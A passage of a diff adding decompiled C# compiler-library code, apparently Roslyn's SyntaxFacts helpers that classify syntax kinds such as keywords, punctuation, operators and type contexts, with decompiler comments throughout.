((Microsoft.CodeAnalysis.CSharp.Syntax.EventDeclarationSyntax)parent).Type == node; + case SyntaxKind.LocalFunctionStatement: + return ((Microsoft.CodeAnalysis.CSharp.Syntax.LocalFunctionStatementSyntax)parent).ReturnType == node; + case SyntaxKind.ParenthesizedLambdaExpression: + return ((Microsoft.CodeAnalysis.CSharp.Syntax.ParenthesizedLambdaExpressionSyntax)parent).ReturnType == node; + case SyntaxKind.SimpleBaseType: + return true; + case SyntaxKind.PrimaryConstructorBaseType: + return ((Microsoft.CodeAnalysis.CSharp.Syntax.PrimaryConstructorBaseTypeSyntax)parent).Type == node; + case SyntaxKind.CrefParameter: + return true; + case SyntaxKind.ConversionOperatorMemberCref: + return ((Microsoft.CodeAnalysis.CSharp.Syntax.ConversionOperatorMemberCrefSyntax)parent).Type == node; + case SyntaxKind.ExplicitInterfaceSpecifier: + return ((Microsoft.CodeAnalysis.CSharp.Syntax.ExplicitInterfaceSpecifierSyntax)parent).Name == node; + case SyntaxKind.DeclarationPattern: + return ((Microsoft.CodeAnalysis.CSharp.Syntax.DeclarationPatternSyntax)parent).Type == node; + case SyntaxKind.RecursivePattern: + return ((Microsoft.CodeAnalysis.CSharp.Syntax.RecursivePatternSyntax)parent).Type == node; + case SyntaxKind.TupleElement: + return ((Microsoft.CodeAnalysis.CSharp.Syntax.TupleElementSyntax)parent).Type == node; + case SyntaxKind.DeclarationExpression: + return ((Microsoft.CodeAnalysis.CSharp.Syntax.DeclarationExpressionSyntax)parent).Type == node; + case SyntaxKind.IncompleteMember: + return ((Microsoft.CodeAnalysis.CSharp.Syntax.IncompleteMemberSyntax)parent).Type == node; + case SyntaxKind.TypePattern: + return ((Microsoft.CodeAnalysis.CSharp.Syntax.TypePatternSyntax)parent).Type == node; + } + } + return false; + } + + public static bool IsInNamespaceOrTypeContext(Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax? node) + { + if (node != null) + { + node = SyntaxFactory.GetStandaloneExpression(node); + CSharpSyntaxNode parent = node.Parent; + if (parent != null) + { + return parent.Kind() switch + { + SyntaxKind.UsingDirective => ((Microsoft.CodeAnalysis.CSharp.Syntax.UsingDirectiveSyntax)parent).NamespaceOrType == node, + SyntaxKind.QualifiedName => ((Microsoft.CodeAnalysis.CSharp.Syntax.QualifiedNameSyntax)parent).Left == node, + _ => IsInTypeOnlyContext(node), + }; + } + } + return false; + } + + public static bool IsNamedArgumentName(SyntaxNode node) + { + if (!node.IsKind(SyntaxKind.IdentifierName)) + { + return false; + } + SyntaxNode parent = node.Parent; + if (parent == null || !parent.IsKind(SyntaxKind.NameColon)) + { + return false; + } + SyntaxNode parent2 = parent.Parent; + if (parent2.IsKind(SyntaxKind.Subpattern)) + { + return true; + } + if (parent2 == null || (!parent2.IsKind(SyntaxKind.Argument) && !parent2.IsKind(SyntaxKind.AttributeArgument))) + { + return false; + } + SyntaxNode parent3 = parent2.Parent; + if (parent3 == null) + { + return false; + } + if (parent3.IsKind(SyntaxKind.TupleExpression)) + { + return true; + } + if (!(parent3 is Microsoft.CodeAnalysis.CSharp.Syntax.BaseArgumentListSyntax) && !parent3.IsKind(SyntaxKind.AttributeArgumentList)) + { + return false; + } + SyntaxNode parent4 = parent3.Parent; + if (parent4 == null) + { + return false; + } + switch (parent4.Kind()) + { + case SyntaxKind.InvocationExpression: + case SyntaxKind.ElementAccessExpression: + case SyntaxKind.ObjectInitializerExpression: + case SyntaxKind.ObjectCreationExpression: + case SyntaxKind.ImplicitObjectCreationExpression: + case SyntaxKind.Attribute: + case SyntaxKind.BaseConstructorInitializer: + case SyntaxKind.ThisConstructorInitializer: + case SyntaxKind.TupleExpression: + case SyntaxKind.PrimaryConstructorBaseType: + return true; + default: + return false; + } + } + + public static bool IsFixedStatementExpression(SyntaxNode node) + { + SyntaxNode parent = node.Parent; + while (parent != null && (parent.IsKind(SyntaxKind.ParenthesizedExpression) || parent.IsKind(SyntaxKind.CastExpression))) + { + parent = parent.Parent; + } + if (parent == null || !parent.IsKind(SyntaxKind.EqualsValueClause)) + { + return false; + } + parent = parent.Parent; + if (parent == null || !parent.IsKind(SyntaxKind.VariableDeclarator)) + { + return false; + } + parent = parent.Parent; + if (parent == null || !parent.IsKind(SyntaxKind.VariableDeclaration)) + { + return false; + } + return parent.Parent?.IsKind(SyntaxKind.FixedStatement) ?? false; + } + + public static string GetText(Accessibility accessibility) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Expected I4, but got Unknown + //IL_0094: Unknown result type (might be due to invalid IL or missing references) + return (int)accessibility switch + { + 0 => string.Empty, + 1 => GetText(SyntaxKind.PrivateKeyword), + 2 => GetText(SyntaxKind.PrivateKeyword) + " " + GetText(SyntaxKind.ProtectedKeyword), + 4 => GetText(SyntaxKind.InternalKeyword), + 3 => GetText(SyntaxKind.ProtectedKeyword), + 5 => GetText(SyntaxKind.ProtectedKeyword) + " " + GetText(SyntaxKind.InternalKeyword), + 6 => GetText(SyntaxKind.PublicKeyword), + _ => throw ExceptionUtilities.UnexpectedValue((object)accessibility), + }; + } + + internal static bool IsStatementExpression(SyntaxNode syntax) + { + switch (syntax.Kind()) + { + case SyntaxKind.InvocationExpression: + case SyntaxKind.ObjectCreationExpression: + case SyntaxKind.SimpleAssignmentExpression: + case SyntaxKind.AddAssignmentExpression: + case SyntaxKind.SubtractAssignmentExpression: + case SyntaxKind.MultiplyAssignmentExpression: + case SyntaxKind.DivideAssignmentExpression: + case SyntaxKind.ModuloAssignmentExpression: + case SyntaxKind.AndAssignmentExpression: + case SyntaxKind.ExclusiveOrAssignmentExpression: + case SyntaxKind.OrAssignmentExpression: + case SyntaxKind.LeftShiftAssignmentExpression: + case SyntaxKind.RightShiftAssignmentExpression: + case SyntaxKind.CoalesceAssignmentExpression: + case SyntaxKind.UnsignedRightShiftAssignmentExpression: + case SyntaxKind.PreIncrementExpression: + case SyntaxKind.PreDecrementExpression: + case SyntaxKind.PostIncrementExpression: + case SyntaxKind.PostDecrementExpression: + case SyntaxKind.AwaitExpression: + return true; + case SyntaxKind.ConditionalAccessExpression: + return IsStatementExpression((SyntaxNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.ConditionalAccessExpressionSyntax)(object)syntax).WhenNotNull); + case SyntaxKind.IdentifierName: + return syntax.IsMissing; + default: + return false; + } + } + + [Obsolete("IsLambdaBody API is obsolete", true)] + public static bool IsLambdaBody(SyntaxNode node) + { + return LambdaUtilities.IsLambdaBody(node); + } + + internal static bool IsIdentifierVar(this SyntaxToken node) + { + return node.ContextualKind == SyntaxKind.VarKeyword; + } + + internal static bool IsIdentifierVarOrPredefinedType(this SyntaxToken node) + { + if (!node.IsIdentifierVar()) + { + return IsPredefinedType(node.Kind); + } + return true; + } + + internal static bool IsDeclarationExpressionType(SyntaxNode node, [NotNullWhen(true)] out Microsoft.CodeAnalysis.CSharp.Syntax.DeclarationExpressionSyntax? parent) + { + parent = node.ModifyingScopedOrRefTypeOrSelf().Parent as Microsoft.CodeAnalysis.CSharp.Syntax.DeclarationExpressionSyntax; + bool isScoped; + return (object)node == parent?.Type.SkipScoped(out isScoped).SkipRef(); + } + + public static string? TryGetInferredMemberName(this SyntaxNode syntax) + { + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + //IL_0077: Unknown result type (might be due to invalid IL or missing references) + //IL_007c: Unknown result type (might be due to invalid IL or missing references) + //IL_008c: Unknown result type (might be due to invalid IL or missing references) + //IL_0091: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken val; + switch (syntax.Kind()) + { + case SyntaxKind.SingleVariableDesignation: + val = ((Microsoft.CodeAnalysis.CSharp.Syntax.SingleVariableDesignationSyntax)(object)syntax).Identifier; + break; + case SyntaxKind.DeclarationExpression: + { + Microsoft.CodeAnalysis.CSharp.Syntax.DeclarationExpressionSyntax declarationExpressionSyntax = (Microsoft.CodeAnalysis.CSharp.Syntax.DeclarationExpressionSyntax)(object)syntax; + SyntaxKind syntaxKind = declarationExpressionSyntax.Designation.Kind(); + if (syntaxKind == SyntaxKind.ParenthesizedVariableDesignation || syntaxKind == SyntaxKind.DiscardDesignation) + { + return null; + } + val = ((Microsoft.CodeAnalysis.CSharp.Syntax.SingleVariableDesignationSyntax)declarationExpressionSyntax.Designation).Identifier; + break; + } + case SyntaxKind.ParenthesizedVariableDesignation: + case SyntaxKind.DiscardDesignation: + return null; + default: + if (syntax is Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax input) + { + val = input.ExtractAnonymousTypeMemberName(); + break; + } + return null; + } + if (((SyntaxToken)(ref val)).RawKind == 0) + { + return null; + } + return ((SyntaxToken)(ref val)).ValueText; + } + + public static bool IsReservedTupleElementName(string elementName) + { + return NamedTypeSymbol.IsTupleElementNameReserved(elementName) != -1; + } + + internal static bool HasAnyBody(this Microsoft.CodeAnalysis.CSharp.Syntax.BaseMethodDeclarationSyntax declaration) + { + return (((object)declaration.Body) ?? ((object)declaration.ExpressionBody)) != null; + } + + internal static bool IsExpressionBodied(this Microsoft.CodeAnalysis.CSharp.Syntax.BaseMethodDeclarationSyntax declaration) + { + if (declaration.Body == null) + { + return declaration.ExpressionBody != null; + } + return false; + } + + internal static bool IsVarArg(this Microsoft.CodeAnalysis.CSharp.Syntax.BaseMethodDeclarationSyntax declaration) + { + return declaration.ParameterList.IsVarArg(); + } + + internal static bool IsVarArg(this Microsoft.CodeAnalysis.CSharp.Syntax.ParameterListSyntax parameterList) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return parameterList.Parameters.Any((Func)((Microsoft.CodeAnalysis.CSharp.Syntax.ParameterSyntax p) => p.IsArgList)); + } + + internal static bool IsTopLevelStatement([NotNullWhen(true)] Microsoft.CodeAnalysis.CSharp.Syntax.GlobalStatementSyntax? syntax) + { + if (syntax == null) + { + return false; + } + return ((SyntaxNode?)(object)syntax.Parent)?.IsKind(SyntaxKind.CompilationUnit) == true; + } + + internal static bool IsSimpleProgramTopLevelStatement(Microsoft.CodeAnalysis.CSharp.Syntax.GlobalStatementSyntax? syntax) + { + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Invalid comparison between Unknown and I4 + if (IsTopLevelStatement(syntax)) + { + return (int)syntax.SyntaxTree.Options.Kind == 0; + } + return false; + } + + internal static bool HasAwaitOperations(SyntaxNode node) + { + return node.DescendantNodesAndSelf((Func)((SyntaxNode child) => !IsNestedFunction(child)), false).Any(delegate(SyntaxNode val) + { + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_0053: Unknown result type (might be due to invalid IL or missing references) + if (!(val is Microsoft.CodeAnalysis.CSharp.Syntax.AwaitExpressionSyntax)) + { + if (!(val is Microsoft.CodeAnalysis.CSharp.Syntax.LocalDeclarationStatementSyntax localDeclarationStatementSyntax)) + { + if (!(val is Microsoft.CodeAnalysis.CSharp.Syntax.CommonForEachStatementSyntax commonForEachStatementSyntax)) + { + if (val is Microsoft.CodeAnalysis.CSharp.Syntax.UsingStatementSyntax usingStatementSyntax && usingStatementSyntax.AwaitKeyword.IsKind(SyntaxKind.AwaitKeyword)) + { + goto IL_0064; + } + } + else if (commonForEachStatementSyntax.AwaitKeyword.IsKind(SyntaxKind.AwaitKeyword)) + { + goto IL_0064; + } + } + else if (localDeclarationStatementSyntax.AwaitKeyword.IsKind(SyntaxKind.AwaitKeyword)) + { + goto IL_0064; + } + return false; + } + goto IL_0064; + IL_0064: + return true; + }); + } + + private static bool IsNestedFunction(SyntaxNode child) + { + return IsNestedFunction(child.Kind()); + } + + private static bool IsNestedFunction(SyntaxKind kind) + { + if (kind - 8641 <= (SyntaxKind)2 || kind == SyntaxKind.LocalFunctionStatement) + { + return true; + } + return false; + } + + internal static bool HasYieldOperations(SyntaxNode? node) + { + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + //IL_004f: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + if (node == null) + { + return false; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ArrayBuilderExtensions.Push(instance, node.Green); + while (instance.Count > 0) + { + GreenNode val = ArrayBuilderExtensions.Pop(instance); + if (val == null || IsNestedFunction((SyntaxKind)val.RawKind) || val is Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ExpressionSyntax) + { + continue; + } + if (val is Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.YieldStatementSyntax) + { + instance.Free(); + return true; + } + ChildSyntaxList val2 = val.ChildNodesAndTokens(); + Enumerator enumerator = ((ChildSyntaxList)(ref val2)).GetEnumerator(); + while (((Enumerator)(ref enumerator)).MoveNext()) + { + GreenNode current = ((Enumerator)(ref enumerator)).Current; + if (!current.IsToken) + { + ArrayBuilderExtensions.Push(instance, current); + } + } + } + instance.Free(); + return false; + } + + internal static bool HasReturnWithExpression(SyntaxNode? node) + { + if (node != null) + { + return node.DescendantNodesAndSelf((Func)((SyntaxNode child) => !IsNestedFunction(child) && !(node is Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax)), false).Any((SyntaxNode n) => n is Microsoft.CodeAnalysis.CSharp.Syntax.ReturnStatementSyntax returnStatementSyntax && returnStatementSyntax.Expression != null); + } + return false; + } + + public static bool IsKeywordKind(SyntaxKind kind) + { + if (!IsReservedKeyword(kind)) + { + return IsContextualKeyword(kind); + } + return true; + } + + public static IEnumerable GetReservedKeywordKinds() + { + for (int i = 8304; i <= 8384; i++) + { + yield return (SyntaxKind)i; + } + } + + public static IEnumerable GetKeywordKinds() + { + foreach (SyntaxKind reservedKeywordKind in GetReservedKeywordKinds()) + { + yield return reservedKeywordKind; + } + foreach (SyntaxKind contextualKeywordKind in GetContextualKeywordKinds()) + { + yield return contextualKeywordKind; + } + } + + public static bool IsReservedKeyword(SyntaxKind kind) + { + if ((int)kind >= 8304) + { + return (int)kind <= 8384; + } + return false; + } + + public static bool IsAttributeTargetSpecifier(SyntaxKind kind) + { + if (kind == SyntaxKind.ReturnKeyword || kind == SyntaxKind.EventKeyword || kind - 8409 <= (SyntaxKind)7) + { + return true; + } + return false; + } + + public static bool IsAccessibilityModifier(SyntaxKind kind) + { + if (kind - 8343 <= (SyntaxKind)3) + { + return true; + } + return false; + } + + public static bool IsPreprocessorKeyword(SyntaxKind kind) + { + switch (kind) + { + case SyntaxKind.TrueKeyword: + case SyntaxKind.FalseKeyword: + case SyntaxKind.IfKeyword: + case SyntaxKind.ElseKeyword: + case SyntaxKind.DefaultKeyword: + case SyntaxKind.ElifKeyword: + case SyntaxKind.EndIfKeyword: + case SyntaxKind.RegionKeyword: + case SyntaxKind.EndRegionKeyword: + case SyntaxKind.DefineKeyword: + case SyntaxKind.UndefKeyword: + case SyntaxKind.WarningKeyword: + case SyntaxKind.ErrorKeyword: + case SyntaxKind.LineKeyword: + case SyntaxKind.PragmaKeyword: + case SyntaxKind.HiddenKeyword: + case SyntaxKind.ChecksumKeyword: + case SyntaxKind.DisableKeyword: + case SyntaxKind.RestoreKeyword: + case SyntaxKind.ReferenceKeyword: + case SyntaxKind.LoadKeyword: + case SyntaxKind.NullableKeyword: + case SyntaxKind.EnableKeyword: + case SyntaxKind.WarningsKeyword: + case SyntaxKind.AnnotationsKeyword: + return true; + default: + return false; + } + } + + internal static bool IsPreprocessorContextualKeyword(SyntaxKind kind) + { + switch (kind) + { + case SyntaxKind.TrueKeyword: + case SyntaxKind.FalseKeyword: + case SyntaxKind.DefaultKeyword: + case SyntaxKind.HiddenKeyword: + case SyntaxKind.ChecksumKeyword: + case SyntaxKind.DisableKeyword: + case SyntaxKind.RestoreKeyword: + case SyntaxKind.EnableKeyword: + case SyntaxKind.WarningsKeyword: + case SyntaxKind.AnnotationsKeyword: + return false; + default: + return IsPreprocessorKeyword(kind); + } + } + + public static IEnumerable GetPreprocessorKeywordKinds() + { + yield return SyntaxKind.TrueKeyword; + yield return SyntaxKind.FalseKeyword; + yield return SyntaxKind.DefaultKeyword; + yield return SyntaxKind.HiddenKeyword; + for (int i = 8467; i <= 8480; i++) + { + yield return (SyntaxKind)i; + } + } + + public static bool IsPunctuation(SyntaxKind kind) + { + if ((int)kind >= 8193) + { + return (int)kind <= 8287; + } + return false; + } + + public static bool IsLanguagePunctuation(SyntaxKind kind) + { + if (IsPunctuation(kind) && !IsPreprocessorKeyword(kind)) + { + return !IsDebuggerSpecialPunctuation(kind); + } + return false; + } + + public static bool IsPreprocessorPunctuation(SyntaxKind kind) + { + return kind == SyntaxKind.HashToken; + } + + private static bool IsDebuggerSpecialPunctuation(SyntaxKind kind) + { + return kind == SyntaxKind.DollarToken; + } + + public static IEnumerable GetPunctuationKinds() + { + for (int i = 8193; i <= 8287; i++) + { + yield return (SyntaxKind)i; + } + } + + public static bool IsPunctuationOrKeyword(SyntaxKind kind) + { + if ((int)kind >= 8193) + { + return (int)kind <= 8496; + } + return false; + } + + internal static bool IsLiteral(SyntaxKind kind) + { + if (kind - 8508 <= (SyntaxKind)6 || kind - 8518 <= (SyntaxKind)4) + { + return true; + } + return false; + } + + public static bool IsAnyToken(SyntaxKind kind) + { + if ((int)kind >= 8193 && (int)kind < 8539) + { + return true; + } + switch (kind) + { + case SyntaxKind.InterpolatedStringStartToken: + case SyntaxKind.InterpolatedStringEndToken: + case SyntaxKind.InterpolatedVerbatimStringStartToken: + case SyntaxKind.LoadKeyword: + case SyntaxKind.NullableKeyword: + case SyntaxKind.EnableKeyword: + case SyntaxKind.UnderscoreToken: + case SyntaxKind.InterpolatedStringToken: + case SyntaxKind.InterpolatedStringTextToken: + case SyntaxKind.SingleLineRawStringLiteralToken: + case SyntaxKind.MultiLineRawStringLiteralToken: + case SyntaxKind.InterpolatedSingleLineRawStringStartToken: + case SyntaxKind.InterpolatedMultiLineRawStringStartToken: + case SyntaxKind.InterpolatedRawStringEndToken: + return true; + default: + return false; + } + } + + public static bool IsTrivia(SyntaxKind kind) + { + if (kind - 8539 <= (SyntaxKind)7 || kind == SyntaxKind.ConflictMarkerTrivia) + { + return true; + } + return IsPreprocessorDirective(kind); + } + + public static bool IsPreprocessorDirective(SyntaxKind kind) + { + switch (kind) + { + case SyntaxKind.IfDirectiveTrivia: + case SyntaxKind.ElifDirectiveTrivia: + case SyntaxKind.ElseDirectiveTrivia: + case SyntaxKind.EndIfDirectiveTrivia: + case SyntaxKind.RegionDirectiveTrivia: + case SyntaxKind.EndRegionDirectiveTrivia: + case SyntaxKind.DefineDirectiveTrivia: + case SyntaxKind.UndefDirectiveTrivia: + case SyntaxKind.ErrorDirectiveTrivia: + case SyntaxKind.WarningDirectiveTrivia: + case SyntaxKind.LineDirectiveTrivia: + case SyntaxKind.PragmaWarningDirectiveTrivia: + case SyntaxKind.PragmaChecksumDirectiveTrivia: + case SyntaxKind.ReferenceDirectiveTrivia: + case SyntaxKind.BadDirectiveTrivia: + case SyntaxKind.ShebangDirectiveTrivia: + case SyntaxKind.LoadDirectiveTrivia: + case SyntaxKind.NullableDirectiveTrivia: + case SyntaxKind.LineSpanDirectiveTrivia: + return true; + default: + return false; + } + } + + public static bool IsName(SyntaxKind kind) + { + if (kind - 8616 <= (SyntaxKind)2 || kind == SyntaxKind.AliasQualifiedName) + { + return true; + } + return false; + } + + public static bool IsPredefinedType(SyntaxKind kind) + { + if (kind - 8304 <= (SyntaxKind)15) + { + return true; + } + return false; + } + + public static bool IsTypeSyntax(SyntaxKind kind) + { + switch (kind) + { + case SyntaxKind.PredefinedType: + case SyntaxKind.ArrayType: + case SyntaxKind.PointerType: + case SyntaxKind.NullableType: + case SyntaxKind.TupleType: + case SyntaxKind.FunctionPointerType: + return true; + default: + return IsName(kind); + } + } + + public static bool IsGlobalMemberDeclaration(SyntaxKind kind) + { + if (kind == SyntaxKind.GlobalStatement || kind - 8873 <= (SyntaxKind)2 || kind - 8892 <= SyntaxKind.List) + { + return true; + } + return false; + } + + public static bool IsTypeDeclaration(SyntaxKind kind) + { + if (kind - 8855 <= (SyntaxKind)4 || kind == SyntaxKind.RecordDeclaration || kind == SyntaxKind.RecordStructDeclaration) + { + return true; + } + return false; + } + + public static bool IsNamespaceMemberDeclaration(SyntaxKind kind) + { + if (!IsTypeDeclaration(kind) && kind != SyntaxKind.NamespaceDeclaration) + { + return kind == SyntaxKind.FileScopedNamespaceDeclaration; + } + return true; + } + + public static bool IsAnyUnaryExpression(SyntaxKind token) + { + if (!IsPrefixUnaryExpression(token)) + { + return IsPostfixUnaryExpression(token); + } + return true; + } + + public static bool IsPrefixUnaryExpression(SyntaxKind token) + { + return GetPrefixUnaryExpression(token) != SyntaxKind.None; + } + + public static bool IsPrefixUnaryExpressionOperatorToken(SyntaxKind token) + { + return GetPrefixUnaryExpression(token) != SyntaxKind.None; + } + + public static SyntaxKind GetPrefixUnaryExpression(SyntaxKind token) + { + return token switch + { + SyntaxKind.PlusToken => SyntaxKind.UnaryPlusExpression, + SyntaxKind.MinusToken => SyntaxKind.UnaryMinusExpression, + SyntaxKind.TildeToken => SyntaxKind.BitwiseNotExpression, + SyntaxKind.ExclamationToken => SyntaxKind.LogicalNotExpression, + SyntaxKind.PlusPlusToken => SyntaxKind.PreIncrementExpression, + SyntaxKind.MinusMinusToken => SyntaxKind.PreDecrementExpression, + SyntaxKind.AmpersandToken => SyntaxKind.AddressOfExpression, + SyntaxKind.AsteriskToken => SyntaxKind.PointerIndirectionExpression, + SyntaxKind.CaretToken => SyntaxKind.IndexExpression, + _ => SyntaxKind.None, + }; + } + + public static bool IsPostfixUnaryExpression(SyntaxKind token) + { + return GetPostfixUnaryExpression(token) != SyntaxKind.None; + } + + public static bool IsPostfixUnaryExpressionToken(SyntaxKind token) + { + return GetPostfixUnaryExpression(token) != SyntaxKind.None; + } + + public static SyntaxKind GetPostfixUnaryExpression(SyntaxKind token) + { + return token switch + { + SyntaxKind.PlusPlusToken => SyntaxKind.PostIncrementExpression, + SyntaxKind.MinusMinusToken => SyntaxKind.PostDecrementExpression, + SyntaxKind.ExclamationToken => SyntaxKind.SuppressNullableWarningExpression, + _ => SyntaxKind.None, + }; + } + + internal static bool IsIncrementOrDecrementOperator(SyntaxKind token) + { + if (token - 8262 <= SyntaxKind.List) + { + return true; + } + return false; + } + + public static bool IsUnaryOperatorDeclarationToken(SyntaxKind token) + { + if (!IsPrefixUnaryExpressionOperatorToken(token) && token != SyntaxKind.TrueKeyword) + { + return token == SyntaxKind.FalseKeyword; + } + return true; + } + + public static bool IsAnyOverloadableOperator(SyntaxKind kind) + { + if (!IsOverloadableBinaryOperator(kind)) + { + return IsOverloadableUnaryOperator(kind); + } + return true; + } + + public static bool IsOverloadableBinaryOperator(SyntaxKind kind) + { + switch (kind) + { + case SyntaxKind.PercentToken: + case SyntaxKind.CaretToken: + case SyntaxKind.AmpersandToken: + case SyntaxKind.AsteriskToken: + case SyntaxKind.MinusToken: + case SyntaxKind.PlusToken: + case SyntaxKind.BarToken: + case SyntaxKind.LessThanToken: + case SyntaxKind.GreaterThanToken: + case SyntaxKind.SlashToken: + case SyntaxKind.ExclamationEqualsToken: + case SyntaxKind.EqualsEqualsToken: + case SyntaxKind.LessThanEqualsToken: + case SyntaxKind.LessThanLessThanToken: + case SyntaxKind.GreaterThanEqualsToken: + case SyntaxKind.GreaterThanGreaterThanToken: + case SyntaxKind.GreaterThanGreaterThanGreaterThanToken: + return true; + default: + return false; + } + } + + public static bool IsOverloadableUnaryOperator(SyntaxKind kind) + { + switch (kind) + { + case SyntaxKind.TildeToken: + case SyntaxKind.ExclamationToken: + case SyntaxKind.MinusToken: + case SyntaxKind.PlusToken: + case SyntaxKind.MinusMinusToken: + case SyntaxKind.PlusPlusToken: + case SyntaxKind.TrueKeyword: + case SyntaxKind.FalseKeyword: + return true; + default: + return false; + } + } + + public static bool IsPrimaryFunction(SyntaxKind keyword) + { + return GetPrimaryFunction(keyword) != SyntaxKind.None; + } + + public static SyntaxKind GetPrimaryFunction(SyntaxKind keyword) + { + return keyword switch + { + SyntaxKind.MakeRefKeyword => SyntaxKind.MakeRefExpression, + SyntaxKind.RefTypeKeyword => SyntaxKind.RefTypeExpression, + SyntaxKind.RefValueKeyword => SyntaxKind.RefValueExpression, + SyntaxKind.CheckedKeyword => SyntaxKind.CheckedExpression, + SyntaxKind.UncheckedKeyword => SyntaxKind.UncheckedExpression, + SyntaxKind.DefaultKeyword => SyntaxKind.DefaultExpression, + SyntaxKind.TypeOfKeyword => SyntaxKind.TypeOfExpression, + SyntaxKind.SizeOfKeyword => SyntaxKind.SizeOfExpression, + _ => SyntaxKind.None, + }; + } + + public static bool IsLiteralExpression(SyntaxKind token) + { + return GetLiteralExpression(token) != SyntaxKind.None; + } + + public static SyntaxKind GetLiteralExpression(SyntaxKind token) + { + return token switch + { + SyntaxKind.StringLiteralToken => SyntaxKind.StringLiteralExpression, + SyntaxKind.Utf8StringLiteralToken => SyntaxKind.Utf8StringLiteralExpression, + SyntaxKind.SingleLineRawStringLiteralToken => SyntaxKind.StringLiteralExpression, + SyntaxKind.Utf8SingleLineRawStringLiteralToken => SyntaxKind.Utf8StringLiteralExpression, + SyntaxKind.MultiLineRawStringLiteralToken => SyntaxKind.StringLiteralExpression, + SyntaxKind.Utf8MultiLineRawStringLiteralToken => SyntaxKind.Utf8StringLiteralExpression, + SyntaxKind.CharacterLiteralToken => SyntaxKind.CharacterLiteralExpression, + SyntaxKind.NumericLiteralToken => SyntaxKind.NumericLiteralExpression, + SyntaxKind.NullKeyword => SyntaxKind.NullLiteralExpression, + SyntaxKind.TrueKeyword => SyntaxKind.TrueLiteralExpression, + SyntaxKind.FalseKeyword => SyntaxKind.FalseLiteralExpression, + SyntaxKind.ArgListKeyword => SyntaxKind.ArgListExpression, + _ => SyntaxKind.None, + }; + } + + public static bool IsInstanceExpression(SyntaxKind token) + { + return GetInstanceExpression(token) != SyntaxKind.None; + } + + public static SyntaxKind GetInstanceExpression(SyntaxKind token) + { + return token switch + { + SyntaxKind.ThisKeyword => SyntaxKind.ThisExpression, + SyntaxKind.BaseKeyword => SyntaxKind.BaseExpression, + _ => SyntaxKind.None, + }; + } + + public static bool IsBinaryExpression(SyntaxKind token) + { + return GetBinaryExpression(token) != SyntaxKind.None; + } + + public static bool IsBinaryExpressionOperatorToken(SyntaxKind token) + { + return GetBinaryExpression(token) != SyntaxKind.None; + } + + public static SyntaxKind GetBinaryExpression(SyntaxKind token) + { + return token switch + { + SyntaxKind.QuestionQuestionToken => SyntaxKind.CoalesceExpression, + SyntaxKind.IsKeyword => SyntaxKind.IsExpression, + SyntaxKind.AsKeyword => SyntaxKind.AsExpression, + SyntaxKind.BarToken => SyntaxKind.BitwiseOrExpression, + SyntaxKind.CaretToken => SyntaxKind.ExclusiveOrExpression, + SyntaxKind.AmpersandToken => SyntaxKind.BitwiseAndExpression, + SyntaxKind.EqualsEqualsToken => SyntaxKind.EqualsExpression, + SyntaxKind.ExclamationEqualsToken => SyntaxKind.NotEqualsExpression, + SyntaxKind.LessThanToken => SyntaxKind.LessThanExpression, + SyntaxKind.LessThanEqualsToken => SyntaxKind.LessThanOrEqualExpression, + SyntaxKind.GreaterThanToken => SyntaxKind.GreaterThanExpression, + SyntaxKind.GreaterThanEqualsToken => SyntaxKind.GreaterThanOrEqualExpression, + SyntaxKind.LessThanLessThanToken => SyntaxKind.LeftShiftExpression, + SyntaxKind.GreaterThanGreaterThanToken => SyntaxKind.RightShiftExpression, + SyntaxKind.GreaterThanGreaterThanGreaterThanToken => SyntaxKind.UnsignedRightShiftExpression, + SyntaxKind.PlusToken => SyntaxKind.AddExpression, + SyntaxKind.MinusToken => SyntaxKind.SubtractExpression, + SyntaxKind.AsteriskToken => SyntaxKind.MultiplyExpression, + SyntaxKind.SlashToken => SyntaxKind.DivideExpression, + SyntaxKind.PercentToken => SyntaxKind.ModuloExpression, + SyntaxKind.AmpersandAmpersandToken => SyntaxKind.LogicalAndExpression, + SyntaxKind.BarBarToken => SyntaxKind.LogicalOrExpression, + _ => SyntaxKind.None, + }; + } + + public static bool IsAssignmentExpression(SyntaxKind kind) + { + if (kind - 8714 <= (SyntaxKind)12) + { + return true; + } + return false; + } + + public static bool IsAssignmentExpressionOperatorToken(SyntaxKind token) + { + switch (token) + { + case SyntaxKind.EqualsToken: + case SyntaxKind.LessThanLessThanEqualsToken: + case SyntaxKind.GreaterThanGreaterThanEqualsToken: + case SyntaxKind.SlashEqualsToken: + case SyntaxKind.AsteriskEqualsToken: + case SyntaxKind.BarEqualsToken: + case SyntaxKind.AmpersandEqualsToken: + case SyntaxKind.PlusEqualsToken: + case SyntaxKind.MinusEqualsToken: + case SyntaxKind.CaretEqualsToken: + case SyntaxKind.PercentEqualsToken: + case SyntaxKind.QuestionQuestionEqualsToken: + case SyntaxKind.GreaterThanGreaterThanGreaterThanEqualsToken: + return true; + default: + return false; + } + } + + public static SyntaxKind GetAssignmentExpression(SyntaxKind token) + { + return token switch + { + SyntaxKind.BarEqualsToken => SyntaxKind.OrAssignmentExpression, + SyntaxKind.AmpersandEqualsToken => SyntaxKind.AndAssignmentExpression, + SyntaxKind.CaretEqualsToken => SyntaxKind.ExclusiveOrAssignmentExpression, + SyntaxKind.LessThanLessThanEqualsToken => SyntaxKind.LeftShiftAssignmentExpression, + SyntaxKind.GreaterThanGreaterThanEqualsToken => SyntaxKind.RightShiftAssignmentExpression, + SyntaxKind.GreaterThanGreaterThanGreaterThanEqualsToken => SyntaxKind.UnsignedRightShiftAssignmentExpression, + SyntaxKind.PlusEqualsToken => 